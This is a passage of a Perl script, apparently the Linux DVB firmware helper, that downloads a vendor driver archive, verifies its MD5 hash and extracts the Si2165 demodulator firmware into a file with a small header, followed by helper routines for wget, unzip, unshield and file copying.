"dvb-demod-si2165.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url . $sourcefile); verify($sourcefile, $hash); unzip($sourcefile, $tmpdir); extract("$tmpdir/Driver10/Hcw10bda.sys", 0x80788, 0x81E08-0x80788, "$tmpdir/fw1"); delzero("$tmpdir/fw1","$tmpdir/fw1-1"); #verify("$tmpdir/fw1","5e0909858fdf0b5b09ad48b9fe622e70"); my $CRC="\x0A\xCC"; my $BLOCKS_MAIN="\x27"; open FW,">$fwfile"; print FW "\x01\x00"; # just a version id for the driver itself print FW "\x9A"; # fw version print FW "\x00"; # padding print FW "$BLOCKS_MAIN"; # number of blocks of main part print FW "\x00"; # padding print FW "$CRC"; # 16bit crc value of main part appendfile(FW,"$tmpdir/fw1"); "$fwfile"; } # --------------------------------------------------------------- # Utilities sub checkstandard { if (system("which unzip > /dev/null 2>&1")) { die "This firmware requires the unzip command - see ftp://ftp.info-zip.org/pub/infozip/UnZip.html\n"; } if (system("which md5sum > /dev/null 2>&1")) { die "This firmware requires the md5sum command - see http://www.gnu.org/software/coreutils/\n"; } if (system("which wget > /dev/null 2>&1")) { die "This firmware requires the wget command - see http://wget.sunsite.dk/\n"; } } sub checkunshield { if (system("which unshield > /dev/null 2>&1")) { die "This firmware requires the unshield command - see http://sourceforge.net/projects/synce/\n"; } } sub wgetfile { my ($sourcefile, $url) = @_; if (! -f $sourcefile) { system("wget -O \"$sourcefile\" \"$url\"") and die "wget failed - unable to download firmware"; } } sub unzip { my ($sourcefile, $todir) = @_; $status = system("unzip -q -o -d \"$todir\" \"$sourcefile\" 2>/dev/null" ); if ((($status >> 8) > 2) || (($status & 0xff) != 0)) { die ("unzip failed - unable to extract firmware"); } } sub unshield { my ($sourcefile, $todir) = @_; system("unshield x -d \"$todir\" \"$sourcefile\" > /dev/null" ) and die ("unshield failed - unable to extract firmware"); } sub verify { my ($filename, $hash) = @_; my ($testhash); open(CMD, "md5sum \"$filename\"|"); $testhash = <CMD>; $testhash =~ /([a-zA-Z0-9]*)/; $testhash = $1; close CMD; die "Hash of extracted file does not match!\n" if ($testhash ne $hash); } sub copy { my ($from, $to) = @_; system("cp -f \"$from\" \"$to\"") and die ("cp failed"); } sub extract { my ($infile, $offset, $length, $outfile) = @_; my ($chunklength, $buf, $rcount); open INFILE, "<$infile"; open OUTFILE, ">$outfile"; sysseek(INFILE, $offset, SEEK_SET); while($length > 0) { # Calc chunk size $chunklength = 2048; $chunklength = $length if ($chunklength > $length); $rcount = sysread(INFILE, $buf, $chunklength); die "Ran out of data\n" if ($rcount != $chunklength); syswrite(OUTFILE, $buf); $length -= $rcount; } close INFILE; close OUTFILE; } sub appendfile { my ($FH, $infile) = @_; my ($buf); open INFILE, "<$infile"; while(1) { $rcount = sysread(INFILE, $buf, 2048); last if ($rcount == 0); print $FH $buf; } close(INFILE); } sub delzero{ my ($infile,$outfile) =@_; open INFILE,"<$infile"; open OUTFILE,">$outfile"; while (1){ $rcount=sysread(INFILE,$buf,22); $len=ord(substr($buf,0,1)); print OUTFILE substr($buf,0,1); print OUTFILE substr($buf,2,$len+3); last if ($rcount<1); printf OUTFILE "%c",0; #print $len." ".length($buf)."\n"; } close(INFILE); close(OUTFILE); } sub syntax() { print STDERR "syntax: get_dvb_firmware <component>\n"; print STDERR "Supported components:\n"; @components = sort @components; for($i=0; $i < scalar(@components); $i++) { print STDERR "\t" . $components[$i] . "\n"; } exit(1); }
Close